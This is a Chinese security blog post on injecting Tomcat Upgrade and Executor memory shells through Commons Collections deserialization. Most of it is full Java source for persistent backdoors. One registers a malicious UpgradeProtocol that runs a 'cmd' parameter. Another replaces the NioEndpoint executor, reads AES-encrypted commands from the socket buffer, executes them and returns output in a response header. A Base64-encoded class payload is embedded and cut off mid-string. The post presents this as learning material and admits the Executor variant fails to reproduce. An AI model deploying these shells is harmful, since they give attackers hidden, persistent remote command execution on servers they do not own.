当前位置: 首页 > news >正文

CC注入Tomcat Upgrade/Executor/WebSocket内存马

学习一下Tomcat中和组件内存马不一样的马。除了学习注入原理外,其payload还在一些缩短payload的场景有应用,比如shiro

CC注入Tomcat Upgrade/Executor/WebSocket内存马

漏洞所用环境及测试全部代码https://github.com/godownio/TomcatMemshell

漏洞路由为yourip:8080/TomcatMemshell_war_exploded/Vuln

Upgrade内存马

反向代理(Reverse Proxy)是一种服务器,它站在客户端和目标服务器之间代表客户端向目标服务器发起请求,然后把服务器的响应返回给客户端

你看不到背后的服务器,甚至都不知道它有多少台,或者地址是什么。

在有反向代理的情况下,植入需要新映射url的servlet、controller内存马因为没有在反向代理中配置的原因,会无法找到对应路径。又或者是在当前路径访问的Filter、Listener、valve可能因为原有Filter的原因注入失败。而且新加组件的动静非常大。通用回显严格说来不算内存马,每次都需要打一次payload,只能说是一种回显方式,并没有做持久化。blue0师傅发现在Processor中也存在一种可以利用的内存马

随便找个servlet项目在doGet or doPost打上断点

Http11Processor.service()内调用了isConnectionToken,判断header里有没有Connection:upgrade的请求头;

如果有的话取出Upgrade请求头对应的对象名,然后getUpgradeProtocol取出UpgradeProtocol。然后调用该对象的accept方法

什么意思呢?就是如下请求头,会调用protocol.getUpgradeProtocol取出test这个UpgradeProtocol

Connection: upgrade
Upgrade: test

看到getUpgradeProtocol方法,从httpUpgradeProtocols中取出对象

接下来寻找在哪初始化的httpUpgradeProtocols,如果在Tomcat启动时初始化,那么就可以进行修改,如果在一次请求中初始化,则理论上每次请求都不一样,就不能注入内存马

在configureUpgradeProtocol方法内向httpUpgradeProtocols内put了upgradeProtocol,且将其name作为键名

通过查找用法configureUpgradeProtocol仅在AbstractHttp11Protocol.init内调用

通过在该方法打上断点,发现在Tomcat初始化时通过如下调用栈调用:

且初始upgradeProtocols为空,给我们注入留下了比较稳定的空间

  1. 恶意代码应该写在哪?

上文提到了,获取了UpgradeProtocol后,会去主动调用accept方法,且参数request是org.apache.coyote.Request。则写入一个恶意UpgradeProtocol,accept内为恶意代码

  1. 如何获取httpUpgradeProtocols?

通过request能获取到Http11NioProtocol,这是AbstractHttp11Protocol的子类,能获取到httpUpgradeProtocols

RequestFacade.request.connector.protocolHandler.httpUpgradeProtocols

然后是payload:

  • 如果是js环境推荐直接从request中获取
RequestFacade rf = (RequestFacade) request;
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(rf);Field connector = Request.class.getDeclaredField("connector");
connector.setAccessible(true);
Connector realConnector = (Connector) connector.get(request1);Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");
protocolHandlerField.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);HashMap<String, UpgradeProtocol> upgradeProtocols = null;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);

并不能从StandardContext中获取到request,StandardContext 是容器结构,而 Request 是运行时结构

需要用到通用回显的方式获取到request

给一个Latch1通过全局global获取request姿势拼接的Upgrade内存马:

package org.example.tomcatmemshell.Upgrade;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Response;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.Request;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.http11.AbstractHttp11Protocol;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;import java.lang.reflect.Field;
import java.util.HashMap;public class UpgradeMemShell extends AbstractTranslet implements UpgradeProtocol{static {try {//获取WebappClassLoaderBaseWebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();Field webappclassLoaderBaseField=Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");webappclassLoaderBaseField.setAccessible(true);WebResourceRoot resources=(WebResourceRoot) webappclassLoaderBaseField.get(webappClassLoaderBase);Context StandardContext =  resources.getContext();//获取ApplicationContextjava.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");contextField.setAccessible(true);org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(StandardContext);//获取StandardServicejava.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");serviceField.setAccessible(true);org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);//获取Connectororg.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();//找到指定的Connectorfor (int i = 0; i < connectors.length; i++) {if (connectors[i].getScheme().contains("http")) {//获取protocolHandler、connectionHandlerorg.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null);getHandlerMethod.setAccessible(true);org.apache.tomcat.util.net.AbstractEndpoint.Handler connectionHandler = (org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler, null);//获取RequestGroupInfojava.lang.reflect.Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");globalField.setAccessible(true);org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(connectionHandler);//获取RequestGroupInfo中储存了RequestInfo的processorsjava.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");processorsField.setAccessible(true);java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);for (int k = 0; k < list.size(); k++) {org.apache.coyote.RequestInfo requestInfo = (org.apache.coyote.RequestInfo) list.get(k);//获取requestjava.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");requestField.setAccessible(true);org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo);org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);Field connectorField = org.apache.catalina.connector.Request.class.getDeclaredField("connector");connectorField.setAccessible(true);Connector connector = (Connector) connectorField.get(request);Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");protocolHandlerField.setAccessible(true);AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(connector);HashMap<String, UpgradeProtocol> upgradeProtocols = null;Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");upgradeProtocolsField.setAccessible(true);upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);upgradeProtocols.put("UpgradeMemShell",new UpgradeMemShell());upgradeProtocolsField.set(handler,upgradeProtocols);break;}break;}}}catch (Exception e) {}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}@Overridepublic String getHttpUpgradeName(boolean isSSLEnabled) {return null;}@Overridepublic byte[] getAlpnIdentifier() {return new byte[0];}@Overridepublic String getAlpnName() {return null;}@Overridepublic Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) {return null;}@Overridepublic InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request) {return null;}@Overridepublic boolean accept(Request request) {org.apache.catalina.connector.Request Realrequest = (org.apache.catalina.connector.Request) request.getNote(1);Response response = Realrequest.getResponse();System.out.println("TomcatShellInject Upgrade accept.....................................................................");String cmdParamName = "cmd";String cmd;try {if ((cmd = Realrequest.getParameter(cmdParamName)) != null) {Process process = Runtime.getRuntime().exec(cmd);java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}response.getOutputStream().write(stringBuilder.toString().getBytes());response.getOutputStream().flush();response.getOutputStream().close();}}catch (Exception e){e.printStackTrace();}return true;}
}

注意执行命令需要带上Connection: Upgrade和Upgrade请求头

Executor内存马(不稳定,复现失败)

上面的Upgrade马实际上作用于下图connector内的Http11Processor,实际上还有更靠前的位置可以注入内存马。但是靠前的位置带给了这种内存马极其不稳定回显的局限性

还是可以学习一下,因为说不定就找到了稳定的回显,这种Executor马又具有常规组件查杀工具查杀不到的性质,未来可期呢。

图上Endpoint属于Http11Protocol的一部分,实际Http11Protocol在Tomcat高版本处弃用状态,实际使用的是Http11NioProtocol

Endpoint

Endpoint 是 ProtocolHandler 中用来监听端口、接收连接、分发 socket 给 Processor 处理的组件。

  • NioEndpoint:基于 Java NIO 的非阻塞实现
  • AprEndpoint:基于 APR 的 native 实现
  • JIoEndpoint:老的基于传统 BIO 的实现

你可以把它当作一个“Socket Server”,它主要负责:

Processor

Processor才是真正处理请求的逻辑,比如 Http11Processor:

  • 解析 HTTP 请求
  • 封装成 Request / Response
  • 调用 servlet 容器(Engine → Host → Context → Wrapper)

HTTP请求到来,Tomcat处理的简化流程如下:

  1. Connector 初始化并创建 ProtocolHandler
  2. ProtocolHandler 持有一个 Endpoint(如 NioEndpoint)
  3. NioEndpoint 启动并监听端口
  4. 来一个连接后:
    • NioEndpoint 分配线程处理连接
    • 调用 Processor(如 Http11Processor)来解析和响应请求

上面的Upgrade内存马,实际上也可以被称作Processor内存马

下面我们详细解释一下上面提到的Endpoint

Endpoint

Acceptor

Acceptor属于Endpoint的一部分

Tomcat 启动后,每个 Connector 会对应一个 Endpoint,Endpoint 会启动一个 Acceptor 线程

调用 ServerSocketChannel.accept() 等方法接受客户端连接

将 Socket 通知给 Poller / Worker 线程(由线程池处理请求)

NIO 模型下,不是每个连接对应一个线程,而是将连接注册到 Selector 上。

Poller 就是维护 Selector 的线程,不断轮询:“哪个连接有数据要读?”

Poller的主要工作如下,很好理解:

  • 注册 SocketChannel 到 Selector
  • 在 Selector.select() 时发现连接有数据可读
  • 将“有数据可读的连接”放到工作队列中,交给 Worker 来处理
Executor

似乎Endpoint有Acceptor就足够分发请求到Processor了,那Executor在整个处理过程中有什么作用呢?

默认每个 Connector 的 Endpoint 会自己创建一个线程池来处理 Socket 连接;如果有多个 Connector(比如 HTTP + AJP),那就是多个线程池,不容易统一配置和管理;引入 Executor 后,就可以在多个 Connector 之间共享线程池。

如果配置了Executor,Endpoint(比如 NioEndpoint)的线程池不再自己 new,而是用这个共享的 Executor

从一个请求到达Tomcat的栈图可以验证以上理论

其中Poller不属于Executor,worker属于Executor

那么调用到Executor的地方一定是在Poller中,我们来调试一下

调试分析

断点先打在NioEndpoint$Poller.Poller(),Poller构造函数新建了WindowsSelectorImpl作为selector

请求到来时,断点打在NioEndpoint$Poller.run(),调用了processKey()

processKey内调用了processSocket。该方法用于处理 SelectionKey 的读写事件,优先处理读事件,若失败则关闭连接;接着处理写事件,若失败也关闭连接。若存在发送文件数据,则直接处理文件发送。

跟进到processSocket,调用了getExecutor获取executor,然后调用了对应的execute方法

没有Executor配置的情况下,默认是取出ThreadPoolExecutor

org.apache.tomcat.util.threads.ThreadPoolExecutor实现自java.util.concurrent.ThreadPoolExecutor,那自定义的executor也实现这个类下的接口Executor,然后重写execute为回显代码

注入点

在哪注入Executor?

调用到getExecutor的栈如下:

getExecutor方法属于AbstractEndpoint,很明显getExecutor可以通过NioEndpoint去触发,变量也是存在NioEndpoint中

能通过NioEndpoint去调用setExecutor,可以看到设置了Executor并把内置的executor置为空,这样就不会调用到上述的默认ThreadPoolExecutor了

现在的目标是找到NioEndpoint

用java-object-searcher可以找到

利用java-object-searcher构造Tomcat线程回显 | Godown_blog

List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("NioEndpoint").build());
//定义黑名单
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("D:\\");
searcher.searchObject();

搜索的结果如下

#############################################################Java Object Searcher v0.01author: c0ny1<root@gv7.me>github: http://github.com/c0ny1/java-object-searcher
#############################################################TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [14] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [15] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [16] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Acceptor}TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [14] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [14] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} ---> eventCache = {org.apache.tomcat.util.collections.SynchronizedStack} ---> stack = {class [Ljava.lang.Object;} ---> [0] = {org.apache.tomcat.util.net.NioEndpoint$PollerEvent}TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [14] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} ---> processorCache = {org.apache.tomcat.util.collections.SynchronizedStack} ---> stack = {class [Ljava.lang.Object;} ---> [0] = {org.apache.tomcat.util.net.NioEndpoint$SocketProcessor}TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [15] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> selector = {sun.nio.ch.WindowsSelectorImpl} ---> channelArray = {class [Lsun.nio.ch.SelectionKeyImpl;} ---> [1] = {sun.nio.ch.SelectionKeyImpl} ---> attachment = {org.apache.tomcat.util.net.NioEndpoint$NioSocketWrapper}TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [14] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} ---> nioChannels = {org.apache.tomcat.util.collections.SynchronizedStack} ---> stack = {class [Ljava.lang.Object;} ---> [0] = {org.apache.tomcat.util.net.NioChannel} ---> socketWrapper = {org.apache.tomcat.util.net.NioEndpoint$NioSocketWrapper}

链子肯定是选下面这条

TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [14] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}

注意,并不是每次都在[14]的位置存在NioEndpoint$Poller,可以确定的是Thread名包含ClientPoller的肯定会存在NioEndpoint$Poller。为了避免歧义,一定要固定好ClientPoller-0或者ClientPoller-1

目前的整体框架:

package org.example.tomcatmemshell.Executor;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import org.apache.tomcat.util.net.NioEndpoint;import java.lang.reflect.Field;
import java.util.concurrent.Executor;public class ExecutorMemShell extends AbstractTranslet implements Executor {static {try{String pass = "cmd";Thread TaskThread = Thread.currentThread();ThreadGroup threadGroup = TaskThread.getThreadGroup();Thread[] threads = (Thread[]) getClassField(ThreadGroup.class,threadGroup,"threads");for(Thread thread:threads) {if (thread.getName().contains("http-nio") && thread.getName().contains("ClientPoller-1")) {Object target = getClassField(Thread.class, thread, "target");NioEndpoint this0 = (NioEndpoint) getClassField(Class.forName("org.apache.tomcat.util.net.NioEndpoint$Acceptor"), target, "this$0");this0.setExecutor(new ExecutorMemShell());break;}}}catch (Exception e){e.printStackTrace();}}public static Object getClassField(Class clazz,Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException {Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);Object var =  field.get(object);return var;}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}@Overridepublic void execute(Runnable command) {System.out.println("testing");}
}

回显

重写的execute参数只有command,没有以往组件内存马自带的request作为参数,如何回显?

executor可以打通用回显吗?

答案是不能,因为请求到达Executor时,如上文所说,还没有进行Processor处理,取到了request,但是request里没东西

下图是我打入内存马后用?cmd=ipconfig测试,结果request为R(null)的例子

executor内存马中,就不能想着去取request进行回显了

这个内存马的发现者肯定找到了办法进行回显的

网上很火的一种方式是找Channel,消息没有读取出来,肯定是在channel里

按照如下变量栈,可以找到请求:

command.socketWrapper.socket.appReadBufHandler.byteBuffer.hb

不过获取的请求是byte形式,转为String后也无法直接作为request,不过可以利用固定的分割作为匹配

比如使用自定义的Header,并将显著标志作为字符串结尾,如cmd:whoami\r

问题1

但是我们来分析一下:

最开始执行到ThreadPoolExecutor.executor内appReadBufHandler是空的,注意!此时已经到Executor内了,意味着我们自定义的Executor也会和这个一样appReadBufHandler为空。

Executor发给Worker处理后,初始化Http11InputBuffer才会调用到setAppReadBufHandler进行处理!所以以上读取requestString的方式是错的

如果有appReadBufHandler,那是上一次请求的缓存。比如先打一个注册Executor内存马,那想执行到execute时,appReadBufHandler中不是带命令的request,而是上一次注册Executor的请求,如果你在注册Executor请求中就带上cmd:xxx\r,那就能执行命令,这也是众多文章说此方法不稳定的原因

问题2

如果制作的类如下,修改了executor会导致后面的诸多正常请求无法完成分发,导致Tomcat出现错误

正常的业务极有可能被直接打崩

当然,如果继承ThreadPoolExecutor正常业务就能顺利运行,但是就无法继承AbstractTranslet了,应用面会比较窄,所以作者给出的都是JSP的代码

回显构造(不稳定)

我的思路是自定义defineClass去加载恶意Executor,但是触发方式依旧是极不稳定

作者给出的第二版代码https://xz.aliyun.com/news/11059

甚至触发稳定性不如第一版,-.-

给一个第二版代码,definClass后是能成功触发到executor的getRequest的,只是取request大概率为空导致复现失败。加载字节码的思路是没错的

注意!defineClass加载字节码所用的ClassLoader必须是Tomcat的WebappClassLoader,只有这个类加载器加载的字节码才能使用Tomcat的类,比如org.apache.tomcat.util.threads.ThreadPoolExecutor,否则会报java.lang.NoClassDefFoundError: org/apache/tomcat/util/threads/ThreadPoolExecutor

恶意Executor:生成Base64放到代码2

package org.example.tomcatmemshell.Executor;import org.apache.catalina.connector.Response;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.NioEndpoint;
import org.apache.tomcat.util.threads.ThreadPoolExecutor;import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.nio.channels.SelectionKey;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Base64;
import java.util.LinkedList;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.RejectedExecutionHandler;
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.TimeUnit;public class ThreadExecutor extends ThreadPoolExecutor {public static void main(String[] args) throws IOException {byte[] string = Base64.getEncoder().encode(Files.readAllBytes(Paths.get("target/classes/org/example/tomcatmemshell/Executor/ThreadExecutor.class")));System.out.println(new String(string));}public static final String DEFAULT_SECRET_KEY = "blueblueblueblue";private static final String AES = "AES";private static final byte[] KEY_VI = "blueblueblueblue".getBytes();private static final String CIPHER_ALGORITHM = "AES/CBC/PKCS5Padding";private static java.util.Base64.Encoder base64Encoder = java.util.Base64.getEncoder();private static java.util.Base64.Decoder base64Decoder = java.util.Base64.getDecoder();public ThreadExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);}public String getRequest2() throws NoSuchFieldException, IllegalAccessException {Thread TaskThread = Thread.currentThread();ThreadGroup threadGroup = TaskThread.getThreadGroup();Thread[] threads1 = (Thread[]) getClassField(ThreadGroup.class, threadGroup, "threads");for (Thread thread : threads1) {String threadName = thread.getName();if (threadName.contains("Client")) {Object target = getField(thread, "target");if (target instanceof Runnable) {try {byte[] bytes = new byte[8192];ByteBuffer buf = ByteBuffer.wrap(bytes);try {LinkedList linkedList = (LinkedList) getField(getField(getField(target, "selector"), "kqueueWrapper"), "updateList");for (Object obj : linkedList) {try {SelectionKey[] selectionKeys = (SelectionKey[]) getField(getField(obj, "channel"), "keys");for (Object tmp : selectionKeys) {try {NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp, "attachment");try {nioSocketWrapper.read(false, buf);String a = new String(buf.array(), "UTF-8");if (a.indexOf("blue0") > -1) {System.out.println(a.indexOf("blue0"));System.out.println(a.indexOf("\r", a.indexOf("blue0")));String b = a.substring(a.indexOf("blue0") + "blue0".length() + 2, a.indexOf("\r", a.indexOf("blue0")));b = decode(DEFAULT_SECRET_KEY, b);buf.position(0);nioSocketWrapper.unRead(buf);System.out.println(b);System.out.println(new String(buf.array(), "UTF-8"));return b;} else {buf.position(0);nioSocketWrapper.unRead(buf);continue;}} catch (Exception e) {nioSocketWrapper.unRead(buf);}} catch (Exception e) {continue;}}} catch (Exception e) {continue;}}} catch (Exception var11) {System.out.println(var11);continue;}} catch (Exception ignored) {}}}}return new String();}public void getResponse(byte[] res) {try {Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));for (Thread thread : threads) {if (thread != null) {String threadName = thread.getName();if (!threadName.contains("exec") && threadName.contains("Acceptor")) {Object target = getField(thread, "target");if (target instanceof Runnable) {try {ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "this$0"), "handler"), "global"), "processors");for (Object tmp_object : objects) {RequestInfo request = (RequestInfo) tmp_object;Response response = (Response) getField(getField(request, "req"), "response");response.addHeader("Server-token", encode(DEFAULT_SECRET_KEY, new String(res, "UTF-8")));}} catch (Exception var11) {continue;}}}}}} catch (Exception ignored) {}}@Overridepublic void execute(Runnable command) {
//            System.out.println("123");String cmd = null;try {cmd = getRequest2();} catch (NoSuchFieldException e) {throw new RuntimeException(e);} catch (IllegalAccessException e) {throw new RuntimeException(e);}if (cmd.length() > 1) {try {Runtime rt = Runtime.getRuntime();Process process = rt.exec(cmd);java.io.InputStream in = process.getInputStream();java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);String s = "";String tmp = "";while ((tmp = stdInput.readLine()) != null) {s += tmp;}if (s != "") {byte[] res = s.getBytes(StandardCharsets.UTF_8);getResponse(res);}} catch (IOException e) {e.printStackTrace();}}this.execute(command, 0L, TimeUnit.MILLISECONDS);}public Object getField(Object object, String fieldName) {Field declaredField;Class clazz = object.getClass();while (clazz != Object.class) {try {declaredField = clazz.getDeclaredField(fieldName);declaredField.setAccessible(true);return declaredField.get(object);} catch (NoSuchFieldException | IllegalAccessException e) {}clazz = clazz.getSuperclass();}return null;}public static String decode(String key, String content) {try {javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);cipher.init(javax.crypto.Cipher.DECRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));byte[] byteContent = base64Decoder.decode(content);byte[] byteDecode = cipher.doFinal(byteContent);return new String(byteDecode, java.nio.charset.StandardCharsets.UTF_8);} catch (Exception e) {e.printStackTrace();}return null;}public static String encode(String key, String content) {try {javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));byte[] byteEncode = content.getBytes(java.nio.charset.StandardCharsets.UTF_8);byte[] byteAES = cipher.doFinal(byteEncode);return base64Encoder.encodeToString(byteAES);} catch (Exception e) {e.printStackTrace();}return null;}public static Object getClassField(Class clazz,Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException {Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);Object var =  field.get(object);return var;}
}

ExecutorMemShell:

package org.example.tomcatmemshell.Executor;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.tomcat.util.net.NioEndpoint;import java.util.Base64;
import java.util.concurrent.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;//复现失败,不推荐使用public class ExecutorMemShell extends AbstractTranslet{public ExecutorMemShell() {try{Thread TaskThread = Thread.currentThread();ThreadGroup threadGroup = TaskThread.getThreadGroup();Thread[] threads = (Thread[]) getClassField(ThreadGroup.class,threadGroup,"threads");for(Thread thread:threads) {if (thread.getName().contains("http-nio") && thread.getName().contains("ClientPoller-1")) {Object target = getClassField(Thread.class, thread, "target");NioEndpoint this0 = (NioEndpoint) getClassField(Class.forName("org.apache.tomcat.util.net.NioEndpoint$Poller"), target, "this$0");try {byte[] classBytes = Base64.getDecoder().decode("yv66vgAAADQB+QoBFwEYCAEZBwEaCgEbARwKAR0BHgoAgQEfCQEgASEKAAMBIgoBIwEkCgB4ASUKASYBJwoBJgEoBwEpCADZCgAvASoHAMMKASYBKwgBLAoAAwEtCAC7CgAvAS4HAS8KATABMQgBMggBMwgBNAcBNQoAGwE2CwE3ATgLATcBOQgBOggBOwcAswgBPAcBPgoAIwE/CgEwAUAIAUEKAAMBQggBQwoAAwFECgEjAUUIAUYKAAMBRwoAAwFICgADAUkHAUoIAUsKAC8BTAoBMAFNCgAjAU4HAU8KASMBUAoAAwFRCAFSCAFTCAFUCAChCAFVCAFWBwFXCgA9ATYHAVgIAVkIANQHAVoIAVsKAC8BXAoAQgFdCgAvAV4HAV8HAWAKAEgBYQcBYgoBYwFkCgFjAWUKAWYBZwcBaAoATgFpBwFqCgBQAWsIAWwKAFABbQcBbgoAVAFRCgBUAW8KAFQBcAkBcQFyCgADAXMKAC8BdAcBdQoAWwF2CQF3AXgKAC8BeQoAYAF6BwF7CgF8AX0KAX4BfwoBfgGACgF8AYEHAYIKAAMBgwgAfAoAZQFCCAGECgBrAYUHAYYHAYcJAC8BiAoAbAEiCgBrAYkJAC8BigoAhgGLCgBrAYwKAAMBjQoANAF2CQAvAY4KAIEBjwoBFwGQBwGRAQASREVGQVVMVF9TRUNSRVRfS0VZAQASTGphdmEvbGFuZy9TdHJpbmc7AQANQ29uc3RhbnRWYWx1ZQEAA0FFUwEABktFWV9WSQEAAltCAQAQQ0lQSEVSX0FMR09SSVRITQEADWJhc2U2NEVuY29kZXIHAZIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAaTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBAA1iYXNlNjREZWNvZGVyBwGTAQAHRGVjb2RlcgEAGkxqYXZhL3V0aWwvQmFzZTY0JERlY29kZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZzdHJpbmcBAApFeGNlcHRpb25zAQAGPGluaXQ+AQCcKElJSkxqYXZhL3V0aWwvY29uY3VycmVudC9UaW1lVW5pdDtMamF2YS91dGlsL2NvbmN1cnJlbnQvQmxvY2tpbmdRdWV1ZTtMamF2YS91dGlsL2NvbmN1cnJlbnQvVGhy